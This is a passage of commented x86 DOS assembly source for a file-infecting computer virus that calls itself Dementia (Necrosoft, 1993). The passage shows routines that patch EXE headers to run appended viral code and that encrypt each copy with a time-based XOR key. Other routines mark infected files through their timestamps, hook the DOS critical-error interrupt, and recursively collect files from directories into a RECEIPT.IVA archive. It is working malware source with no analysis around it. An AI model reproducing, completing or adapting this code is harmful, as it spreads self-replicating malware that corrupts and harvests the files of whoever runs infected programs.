mov cx,10h ; CX = number of bytes to add to f...
sub cx,ax ; CX = " " " " " " "
mov ax,[bp-04h] ; AX = low-order word of filesize
mov dx,[bp-02h] ; DX = high-order word of filesize
add ax,cx ; Add number of bytes to add to fi...
adc dx,00h ; Convert to 32-bit
mov [bp-04h],ax ; Store low-order word of pointer ...
mov [bp-02h],dx ; Store high-order word of pointer...
call write_file_
push bx ; Save BX at stack
mov ax,[bp-04h] ; AX = low-order word of pointer t...
mov dx,[bp-02h] ; DX = high-order word of pointer ...
mov bx,ds:[08h] ; BX = header size in paragraphs
mov cl,0ch ; Divide by four thousand and nine...
shr bx,cl ; BX = header size in sixty-five t...
sub dx,bx ; Subtract header size in sixty fi...
mov bx,ds:[08h] ; BX = header size in paragraphs
mov cl,04h ; Multiply by paragraphs
shl bx,cl ; BX = header size
sub ax,bx ; Subtract header size from filesize
sbb dx,00h ; Convert to 32-bit
mov [bp-04h],ax ; Store low-order word of pointer ...
mov [bp-02h],dx ; Store high-order word of pointer...
pop bx ; Load BX from stack
mov ax,ds:[14h] ; AX = original instruction pointer
mov cs:[instruct_ptr],ax
mov ax,ds:[16h] ; AX = original code segment
mov cs:[code_seg],ax ; Store original code segment
xor ax,ax ; Zero AX
mov ds:[14h],ax ; Store initial IP
mov cs:[initial_ip],ax ; Store " "
mov ax,[bp-02h] ; AX = high-order word of pointer ...
test ax,1111111111110000b
jz calc_ins_ptr ; Zero? Jump to calc_ins_ptr
jmp inf_exe_exit
calc_ins_ptr:
mov cl,0ch
shl ax,cl ; Multiply by sixty-five thousand ...
mov dx,[bp-04h] ; DX = low-order word of pointer t...
mov cl,04h ; Divide by paragraphs
shr dx,cl ; DX = low-order word of pointer t...
add ax,dx ; AX = initial CS relative to star...
mov ds:[16h],ax ; Store initial CS relative to sta...
mov cs:[initial_cs],ax ; " " " " " "
push ax ; Save AX at stack
mov ax,ds:[0eh] ; AX = initial SS relative to star...
mov cs:[stack_seg],ax ; Store initial SS relative to sta...
mov ax,ds:[10h] ; AX = initial SP
mov cs:[stack_ptr],ax ; Store initial SP
pop ax ; Load AX from stack
add ax,(code_end-code_begin+0fh)/10h
jae store_stack ; Above or equal? Jump to store_stack
jmp inf_exe_exit
nop
store_stack:
mov ds:[0eh],ax ; Store initial SS relative to sta...
mov ax,100h ; AX = initial SP
mov ds:[10h],ax ; Store initial SP
push bx ; Save BX at stack
mov ax,[bp-04h] ; AX = low-order word of pointer t...
mov dx,[bp-02h] ; DX = high-order word of pointer ...
mov bx,ds:[08h] ; BX = header size in paragraphs
mov cl,0ch ; Divide by four thousand and nine...
shr bx,cl ; BX = header size in sixty-five t...
add dx,bx ; Add header size in sixty-five th...
mov bx,ds:[08h] ; BX = header size in paragraphs
mov cl,04h ; Multiply by paragraphs
shl bx,cl ; BX = header size
add ax,bx ; Add header size to filesize
adc dx,00h ; Convert to 32-bit
mov [bp-04h],ax ; Store low-order word of pointer ...
mov [bp-02h],dx ; Store high-order word of pointer...
pop bx ; Load BX from stack
mov ax,[bp-04h] ; AX = low-order word of pointer t...
mov dx,[bp-02h] ; DX = high-order word of pointer ...
add ax,(code_end-code_begin)
adc dx,00h ; Convet to 32-bit
mov cl,07h
shl dx,cl ; Multiply by one hundred and twen...
push ax ; Save AX at stack
mov cl,09h ; Divide by pages
shr ax,cl ; AX = low-order word of pointer t...
add dx,ax ; DX = number of bytes on last 512...
pop ax ; Load AX from stack
and ax,0000000000011111b
jz store_pages ; Zero? Jump to store_pages
inc dx ; Increase number of bytes on last...
jmp store_pages_
nop
store_pages:
mov ax,200h ; AX = total number of 512-bytes p...
store_pages_:
mov ds:[02h],ax ; Store total number of 512-bytes ...
mov ds:[04h],dx ; Store number of bytes on last 51...
mov ax,ds:[0ch] ; AX = maximum paragraphs to alloc...
cmp ax,10h ; Maximum paragraphs to allocate ...?
jae store_maximu ; Above or equal? Jump to store_ma...
mov ax,10h ; AX = new maximum paragraphs to a...
store_maximu:
mov ds:[0ch],ax ; Store maximum paragraphs to allo...
call set_pos_sof
mov cx,20h ; Write thirty-two bytes
call write_file
call set_pos_eof
call encrypt_copy
mov cx,(code_end-code_begin)
call write_file
inf_exe_exit:
mov sp,bp ; SP = stack pointer
pop bp ; Load BP from stack
ret ; Return!
endp
encrypt_copy proc near ; Move virus to data buffer and en...
push bx ; Save BX at stack
mov ah,2ch ; Get system time
int 21h
mov bx,cx ; BX = hour and minute
xor bx,dx ; BX = 16-bit random number
mov ah,2ah ; Get system date
int 21h
xor bx,cx ; BX = 16-bit random number
xor bx,dx ; BX = decryption key
mov dx,bx ; DX = " "
mov cs:[decrypt_key],dx ; Store decryption key
pop bx ; Load BX from stack
cld ; Clear direction flag
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov es,ax ; ES = segment of data buffer
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
xor si,si ; Zero SI
xor di,di ; Zero DI
mov cx,(code_end-code_begin)
rep movsb ; Move virus to data buffer
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
lea si,crypt_begin-02h ; SI = offset of crypt_end
mov di,si ; DI = " " "
mov cx,(crypt_begin-crypt_end-02h)/02h
std ; Set direction flag
encrypt_loop:
lodsw ; AX = word of plain code
xor ax,dx ; Encrypt word
stosw ; Store encrypted word
loop encrypt_loop
cld ; Clear direction flag
ret ; Return!
endp
int24_store proc near ; Get and set interrupt vector 24h
push bx dx ds es ; Save registers at stack
mov ax,3524h ; Get interrupt vector 24h
int 21h
mov word ptr cs:[int24_addr],bx
mov word ptr cs:[int24_addr+02h],es
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
lea dx,int24_virus+110h ; DX = offset of int24_virus + 110h
mov ax,2524h ; Set interrupt vector 24h
int 21h
pop es ds dx bx ; Load registers from stack
ret ; Return!
endp
int24_load proc near ; Set interrupt vector 24h
push dx ds ; Load registers from stack
mov dx,word ptr cs:[int24_addr]
mov ds,word ptr cs:[int24_addr+02h]
mov ax,2524h ; Set interrupt vector 24h
int 21h
pop ds dx ; Load registers from stack
ret ; Return!
endp
int24_virus proc near ; Interrupt 24h of Dementia.4218
mov al,03h ; Fail system call in progress
iret ; Interrupt return!
endp
calc_crc32 proc near ; Calculate CRC-32 checksum
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
add ax,40h ; AX = segment of CRC-32 table
mov es,ax ; ES = " " " "
xor di,di ; Zero DI
xor cx,cx ; Zero CX
gen_crc_tab:
xor dx,dx ; Zero DX
xor ax,ax ; Zero AX
mov al,cl ; AL = counter
push cx ; Save CX at stack
mov cx,08h ; Calculate each CRC-32 table entr...
gen_crc_loop:
clc ; Clear carry flag
rcr dx,01h ; Rotate DX through carry one bit ...
rcr ax,01h ; Rotate AX through carry one bit ...
jnc carry_loop ; No carry? Jump to carry_loop
xor dx,0edb8h ; DX = high-order word of CRC-32 t...
xor ax,8320h ; AX = low-order word of CRC-32 ta...
carry_loop:
loop gen_crc_loop
mov es:[di],ax ; Store low-order word of CRC-32 t...
mov es:[di+02h],dx ; Store high-order word of CRC-32 ...
add di,04h ; DI = offset of next CRC-32 table...
pop cx ; Load CX from stack
inc cx ; Increase count register
cmp cx,100h ; Generated enough CRC-32 table en...
jne gen_crc_tab ; Not equal? Jump to gen_crc_tab
call set_pos_sof
mov dx,0ffffh ; DX = high-order word of CRC-32 c...
mov ax,0ffffh ; AX = low-order word of CRC-32 ch...
read_block:
push ax dx ; Save registers at stack
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je calc_crc_xit ; Equal? Jump to calc_crc_xit
mov cx,ax ; CX = number of bytes actually read
pop dx ax ; Load registers from stack
xor si,si ; Zero SI
cal_crc_loop:
push bx cx ; Save registers at stack
xor bh,bh ; Zero BH
mov bl,[si] ; BL = byte of file
inc si ; Increase index register
xor bl,al ; Exclusive OR (XOR) byte of file ...
mov cl,02h
shl bx,cl ; Multiply by four
mov di,bx ; DI = offset of next CRC-32 table...
mov al,ah ; AL = low-order byte of low-order...
mov ah,dl ; AH = high-order byte of low-orde...
mov dl,dh ; DL = low-order byte of high-orde...
xor dh,dh ; Zero DH
mov bx,es:[di] ; BX = low-order word of CRC-32 ta...
xor ax,bx ; AX = low-order word of CRC-32 ch...
mov bx,es:[di+02h] ; BX = high-order word of CRC-32 t...
xor dx,bx ; DX = high-order word of CRC-32 c...
pop cx bx ; Load registers from stack
loop cal_crc_loop
jmp read_block
calc_crc_xit:
pop dx ax ; Load registers from stack
xor dx,0ffffh ; DX = high-order word of CRC-32 c...
xor ax,0ffffh ; AX = low-order word of CRC-32 ch...
ret ; Return!
endp
create_recei proc near ; Create RECEIPT.IVA file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,12h ; Correct stack pointer
mov [bp-08h],ax ; Store number of file specifications
mov [bp-10h],bx ; Store file handle of RECEIPT.IVA
mov [bp-02h],dx ; Store store or don't store backs...
mov [bp-06h],ds ; Store segment of file specificat...
mov ah,3bh ; Set current directory
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
xor dx,dx ; Zero DX
int 21h
mov ax,[bp-08h] ; AX = number of file specifications
xor cx,cx ; Zero CX
mov cl,al ; CL = number of file specifications
xor dx,dx ; Zero DX
find_first_:
mov ds,[bp-06h] ; DS = segment of file specification
push cx ; Save CX at stack
mov cx,0000000000000111b
call find_first
push dx ; Save DX at stack
jnc find_next_ ; No error? Jump to find_next_
jmp fnd_nxt_loop
nop
find_next_:
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area
mov dx,1eh ; DX = offset of filename
call open_file
mov [bp-12h],ax ; Store file handle of file within...
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
call set_pos_eof
push ds ; Save DS at stack
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+44h
mov ds,ax ; DS = segment of end of pathname
mov cx,40h ; Write sixty-four bytes
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
call write_file
pop ds ; Load DS from stack
mov cx,0eh ; Write fourteen bytes
mov dx,1eh ; DX = offset of filename
call write_file_
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+4ch
mov ds,ax ; DS = segment of data buffer
mov bx,[bp-12h] ; BX = file handle of file within ...
call set_pos_eof
mov ds:[00h],ax ; Store low-order word of filesize
mov ds:[02h],dx ; Store high-order word of filesize
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
mov cx,04h ; Write four bytes
call write_file
mov bx,[bp-12h] ; BX = file handle of file within ...
call set_pos_sof
copy_file:
mov bx,[bp-12h] ; BX = file handle of file within ...
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je call_fnd_nxt ; Equal? Jump to call_fnd_nxt
mov cx,ax ; CX = number of bytes actually read
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
call write_file
jmp copy_file
call_fnd_nxt:
mov bx,[bp-12h] ; BX = file handle of file within ...
call close_file
call find_next
jc fnd_nxt_loop ; Error? Jump to fnd_nxt_loop
jmp find_next_
fnd_nxt_loop:
pop dx cx ; Load registers from stack
add dx,0eh ; DX = offset of next file specifi...
dec cx ; Decrease count register
cmp cx,00h ; No more files?
je copy_name ; Equal? Jump to copy_name
jmp find_first_
copy_name:
xor cx,cx ; Zero CX
find_first__:
push cx ; Save CX at stack
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
lea dx,file_specifi ; DX = offset of file_specifi
nop
mov cx,0000000000010111b
call find_first
jc receip_exit ; Error? Jump to receip_exit
pop cx ; Load CX from stack
push cx ; Save CX at stack
jmp test_count
nop
found_dir:
push cx ; Save CX at stack
mov cx,01h ; Don't examine disk transfer area
test_count:
cmp cx,00h ; Examine disk transfer area?
je examine_dta ; Equal? Jump to examine_dta
call find_next
jc receipt_exit ; Error? Jump to receipt_exit
dec cx ; Decrease CX
jmp test_count
examine_dta:
pop cx ; Load CX from stack
inc cx ; Increase count register
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+44h
mov es,ax ; ES = segment of end of pathname
add ax,04h ; AX = segment of disk transfer area
mov ds,ax ; DS = " " " " "
mov si,15h ; SI = offset of attribute of file...
lodsb ; AL = attribute of file found
test al,00010000b ; Directory?
je found_dir ; Equal? Jump to found_dir
mov si,1eh ; SI = offset of filename
lodsb ; AL = byte of filename
cmp al,'.' ; Directory?
je found_dir ; Equal? Jump to found_dir
mov ax,[bp-02h] ; AX = store or don't store backslash
mov di,ax ; DI = offset of end of pathname
mov si,1eh ; SI = offset of filename
cmp al,01h ; Don't store backslash?
je copy_name_ ; Equal? Jump to copy_name_
mov al,'\' ; AL = backslash
stosb ; Store backslash
copy_name_:
lodsb ; AL = byte of filename
cmp al,00h ; End of filename?
je store_zero ; Equal? Jump to store_zero
stosb ; Store byte of filename
jmp copy_name_
store_zero:
mov dx,di ; DX = offset of end of pathname
xor al,al ; AL = zero
stosb ; Store zero
mov ax,[bp-08h] ; AX = number of file specifications
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
mov ds,[bp-06h] ; DS = segment of file specifictions
push cx ; Save CX at stack
call create_recei
pop cx ; Load CX from stack
mov ah,3bh ; Set current directory
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
xor dx,dx ; Zero DX
mov di,[bp-02h] ; DI = offset of end of pathname
xor al,al ; AL = zero
stosb ; Store zero
int 21h
jmp find_first__
receipt_exit:
pop cx ; Load CX from stack
receip_exit:
mov sp,bp ; SP = stack pointer
pop bp ; Load BP from stack
ret ; Return!
endp
open_file proc near ; Open file
mov ax,3dffh ; Open file
xor cx,cx ; CL = attribute mask of files to ...
int 21h
mov bx,ax ; BX = file handle
ret ; Return!
endp
close_file proc near ; Close file
mov ah,3eh ; Close file
int 21h
ret ; Return!
endp
find_first proc near ; Find first matching file
mov ax,4e00h ; Find first matching file
int 21h
ret ; Return!
endp
find_next proc near ; Find next matching file
mov ah,4fh ; Find next matching file
int 21h
ret ; Return!
endp
load_info proc near ; Get file's date and time
mov ax,5700h ; Get file's date and time
int 21h
mov [bp-04h],cx ; Store file time
mov [bp-02h],dx ; Store file date
ret ; Return!
endp
infect_mark proc near ; Infection mark
mov ax,5701h ; Set file's date and time
mov cx,[bp-04h] ; CX = file time
mov dx,[bp-02h] ; DX = file date
and cx,1111111111100000b
or cx,0000000000000001b
int 21h
ret ; Return!
endp
read_file proc near ; Read from file
xor dx,dx ; Zero DX
read_file_ proc near ; Read from file
mov ah,3fh ; Read from file
int 21h
ret ; Return!
endp
endp
create_file proc near ; Create file
mov ah,3ch ; Create file
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
xor cx,cx ; CX = file attributes
int 21h
ret ; Return!
endp
write_file proc near ; Write to file
xor dx,dx ; Zero DX
write_file_ proc near ; Write to file
mov ah,40h ; Write to file
int 21h
ret ; Return!
endp
endp
set_pos_cfp proc near ; Set current file position (CFP)
mov ax,4201h ; Set current file position (CFP)
int 21h
ret ; Return!
endp
set_pos_eof proc near ; Set current file position (EOF)
mov ax,4202h ; Set current file position (EOF)
xor cx,cx ; Zero CX
cwd ; Zero DX
int 21h
ret ; Return!
endp
set_pos_sof proc near ; Set current file position (SOF)
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
set_pos_sof_ proc near ; Set current file position (SOF)
mov ax,4200h ; Set current file position (SOF)
int 21h
ret ; Return!
endp
endp
delete_file proc near ; Delete file
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
mov ah,41h ; Delete file
xor cx,cx ; CL = attribute mask for deletion
int 21h
ret ; Return!
endp
file_begin:
mov ax,0b800h ; AX = segment of text video RAM
mov es,ax ; ES = " " " " "
xor di,di ; Zero DI
mov cx,7d0h ; Store four thousand bytes
mov ax,720h ; Black background color, light-gr...
rep stosw ; Overwrite text video RAM
xor di,di ; Zero DI
mov si,(ansi_begin-file_begin+100h)
mov cx,(ansi_end-ansi_begin)
nop
load_ansi:
lodsb ; AL = byte of ansi
cmp al,0ffh ; Write a string?
jne store_ansi ; Not equal? Jump to store_ansi
lodsb ; AL = byte of ansi
dec cx ; Derease count register
cmp al,0ffh ; Write a single character?
je store_ansi ; Equal? Jump to store_ansi
push cx si ds ; Save registers at stack
xor cx,cx ; Zero CX
mov cl,al ; CL = size of string
lodsb ; AL = byte of ansi
mov bl,al ; BL = low-order byte of offset of...
lodsb ; AL = byte of ansi
mov bh,al ; BH = high-order byte of offset o...
mov si,bx ; SI = offset of string within ansi
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
rep movsb ; Move string to text video RAM
pop ds si cx ; Load registers at stack
add si,02h ; Add two to index register
sub cx,02h ; Subtract two from count register
jmp ansi_loop
nop
nop
store_ansi:
stosb ; Store a byte of ansi
ansi_loop:
loop load_ansi
int 20h
ansi_begin db 20h,07h,0ffh,82h,00h,00h,0deh,0ffh,83h,01h,00h,0ffh,1dh
db 00h,00h,77h,0ffh,9ch,86h,00h,0b0h,08h,0b0h,71h,0ffh,1ch
db 00h,00h,0dfh,0ffh,04h,23h,01h,0ffh,0dh,0e5h,01h,0b0h,71h
db 0ffh,06h,0f4h,01h,0ffh,68h,5eh,01h,0ffh,1eh,0c4h,01h,0b0h
db 08h,0ffh,06h,82h,02h,0dfh,07h,0ffh,04h,8ah,02h,0ffh,10h
db 0ech,01h,0ffh,5ah,0f8h,01h,0dch,07h,0dch,07h,0ffh,0bh
db 0f2h,01h,71h,0ffh,05h,8Ch,02h,0ffh,1dh,0e1h,02h,0ffh,08h
db 82h,02h,0ffh,06h,82h,02h,20h,07h,0ffh,06h,0f4h,01h,0b1h
db 0ffh,59h,0f7h,01h,0ffh,06h,82h,02h,0ffh,05h,42h,03h,08h
db 0ffh,1fh,0a4h,01h,0ffh,05h,05h,03h,0ffh,0ch,0c4h,01h
db 0ffh,09h,2ch,03h,0ffh,0dh,3fh,03h,0b0h,08h,0deh,0ffh,07h
db 0c5h,03h,0ffh,05h,0f6h,03h,0ffh,0bh,5dh,02h,0ffh,10h,00h
db 04h,0ffh,08h,0eah,03h,0ffh,07h,42h,03h,71h,20h,71h,0ddh
db 0ffh,0fh,0fdh,03h,0b1h,71h,0b1h,0ffh,05h,05h,04h,0ffh,04h
db 3ah,04h,0ffh,04h,0c2h,01h,0ddh,0ffh,05h,0edh,03h,0ffh,08h
db 0f0h,01h,0ffh,04h,2ah,04h,0ffh,0dh,7ah,02h,0ffh,15h,0f7h
db 01h,0ffh,06h,0dch,03h,0ffh,05h,42h,04h,0ffh,05h,0a3h,03h
db 0ffh,07h,0f0h,03h,0ffh,05h,81h,02h,20h,78h,20h,78h,0ffh
db 09h,3eh,04h,0ffh,07h,3dh,03h,0b2h,0ffh,06h,41h,03h,0ffh
db 05h,0c3h,01h,0b0h,08h,0deh,01h,0ffh,05h,0aeh,04h,0ffh,05h
db 37h,03h,0ffh,06h,9ah,04h,0ffh,08h,5eh,02h,0ffh,06h,3eh
db 03h,0ffh,06h,42h,04h,0ffh,04h,0ach,04h,0ffh,07h,94h,04h
db 0ffh,07h,7fh,02h,0ffh,04h,0f0h,03h,0ffh,06h,0fah,03h,0ffh
db 12h,74h,04h,0ffh,12h,74h,02h,0ffh,06h,0dah,04h,0ffh,06h
db 42h,04h,20h,78h,0ffh,08h,0a4h,04h,20h,71h,0dbh,07h,0ffh
db 08h,0eah,04h,0b2h,71h,0b2h,0ffh,07h,0c1h,04h,0ffh,06h,44h
db 05h,0ffh,07h,3ah,03h,08h,0dbh,0ffh,08h,0adh,04h,0ffh,06h
db 0f3h,03h,0ffh,07h,0bdh,01h,20h,78h,0ffh,05h,0b2h,04h,08h
db 0ffh,08h,42h,05h,0ffh,06h,44h,05h,0ffh,06h,3ah,04h,0dch
db 07h,0ffh,04h,0aeh,04h,0ffh,18h,42h,03h,0ffh,08h,86h,05h
db 0ffh,0eh,0a2h,05h,0ffh,04h,44h,05h,0ffh,07h,42h,04h,0ffh
db 05h,1dh,04h,0ffh,08h,0c6h,05h,20h,07h,0dbh,71h,0ffh,04h
db 0dch,05h,20h,07h,0deh,01h,0ffh,04h,0e0h,05h,0ffh,04h,0c0h
db 01h,0dbh,71h,0ddh,01h,0ffh,0ah,6eh,05h,0ffh,04h,0e4h,05h
db 0ffh,04h,0aeh,04h,0ffh,0ch,0eeh,04h,0ffh,07h,0f2h,04h
db 0ffh,06h,0ebh,03h,01h,0ffh,04h,46h,05h,0ffh,04h,0e4h,05h
db 0ffh,08h,1ah,06h,0b2h,0ffh,05h,0dfh,05,0ffh,06h,0a0h,03h
db 0ffh,0ch,58h,04h,0ffh,0ah,0bah,01h,0ffh,04h,0bch,04h,0ffh
db 0ah,00h,00h,0ffh,04h,44h,05h,0ffh,04h,5ch,05h,0ffh,06h
db 50h,05h,0ffh,06h,0b8h,04h,0ffh,06h,0dah,04h,0ffh,04h,44h
db 05h,0ffh,04h,2eh,06h,0ffh,04h,0f0h,05h,0dbh,01h,0dbh,01h
db 0ffh,07h,7eh,00h,0ffh,07h,87h,06h,0ffh,05h,98h,04h,0ffh
db 05h,0b9h,04h,0ffh,0eh,5ch,05h,0ffh,04h,4ah,04h,0ffh,0ah
db 0c8h,04h,0dbh,0ffh,05h,23h,06h,0ffh,04h,0dch,05h,0ffh,06h
db 2ch,06h,0ffh,06h,0fah,05h,0ffh,06h,5ch,05h,0ffh,04h,42h
db 03h,0ffh,16h,0aeh,01h,0ffh,0ah,50h,06h,0ffh,04h,2eh,06h
db 0ffh,0ch,62h,06h,0ffh,0dh,0d4h,03,0ffh,09h,33h,03h,0ffh
db 0ah,0e6h,04h,0ffh,0eh,0b6h,01h,0ffh,14h,0ah,07h,0ffh,0eh
db 20h,07h,0ffh,07h,36h,03h,0ffh,0bh,5dh,07h,0ffh,0eh,0eh
db 07h,0ffh,18h,0ach,01h,0deh,0ffh,05h,85h,06h,0ffh,06h,0dch
db 05h,0ffh,04h,24h,06h,0ffh,20h,0a6h,03h,0ffh,73h,52h,01h
db 0ffh,04h,0bbh,06h,01h,0dbh,01h,0ffh,1ch,0a2h,07h,28h,09h
db 35h,01h,31h,01h,32h,01h,29h,09h,50h,01h,52h,01h,49h,01h
db 2dh,09h,56h,01h,41h,01h,54h,01h,45h,0ffh,05h,87h,06h,0fah
db 0fh,0ffh,04h,00h,00h,30h,09h,20h,07h,64h,01h,61h,01h,79h
db 01h,20h,07h,77h,01h,61h,01h,72h,01h,65h,01h,73h,0ffh,0bh
db 73h,08h,56h,01h,2dh,01h,58h,0ffh,07h,87h,06h,0ffh,29h
db 0d2h,02h,01h,0dch,0ffh,05h,39h,08h,0dfh,0ffh,23h,0a3h,08h
db 38h,09h,30h,09h,0ffh,04h,7eh,08h,6dh,01h,65h,01h,67h,0ffh
db 05h,91h,08h,6fh,01h,6eh,01h,6ch,01h,69h,01h,6eh,01h,65h
db 0ffh,0bh,73h,08h,55h,01h,53h,01h,52h,01h,20h,07h,44h,01h
db 75h,01h,61h,01h,6ch,01h,20h,07h,31h,09h,36h,09h,2eh,01h
db 38h,09h,6bh,0ffh,29h,0a3h,08h,0ffh,04h,0d2h,08h,0ffh,04h
db 0d4h,08h,0dfh,0ffh,05h,3dh,08h,0ffh,8eh,0a4h,07h,0ffh,22h
db 70h,07h,0ffh,40h,00h,00h,2dh,07h,5ch,0fh,2dh,07h,20h,07h
db 50h,0fh,73h,0bh,79h,03h,63h,03h,68h,09h,6fh,01h,74h,0fh
db 65h,0bh,0ffh,04h,76h,0ah,20h,07h,3ch,08h,49h,0fh,6dh,0bh
db 61h,03h,67h,09h,65h,01h,3eh,08h,0ffh,04h,66h,0ah,2fh,0ffh
db 05h,6bh,0ah,20h,07h
ansi_end:
file_end:
temp_file db '!#TEMP#!',00h ; Temporary file
request_iva db 'REQUEST.IVA',00h ; REQUEST.IVA
filename db 'RECEIPT.IVA ',00h ; Filename
receipt_iva db 'RECEIPT.IVA ',00h ; RECEIPT.IVA
callfast_com db 'CALLFAST.COM',00h ; CALLFAST.COM
file_specifi db '*.*',00h ; File specification
origin_code db 0cdh,21h,? ; Original code of infected COM file
int21_addr dd ? ; Address of interrupt 21h
int24_addr dd ? ; Address of interrupt 24h
com_or_exe db 00h ; COM or EXE executable
stack_ptr dw ? ; Original stack pointer
stack_seg dw ? ; Original stack segment
instruct_ptr dw ? ; Original instruction pointer
code_seg dw ? ; Original code segment
initial_ip dw ? ; Initial IP
initial_cs dw ? ; Initial CS relative to start of ...
code_seg_ dw ? ; Code segment
tst_filesize dw 00h ; Test or don't test filesize
db 'Dementia]',00h
db 'Copyright 1993 Necrosoft enterprises - All rights reserved',00h
db 'I am the man that walks alone',0dh,0ah
db 'And when I''m walking a dark road',0dh,0ah
db 'At night or strolling through the park',0dh,0ah
db 'When the light begins to change',0dh,0ah
db 'I sometimes feel a little strange',0dh,0ah
db 'A little anxious when it''s dark',0dh,0ah,00h
crypt_begin:
code_end:
data_end:
end code_begin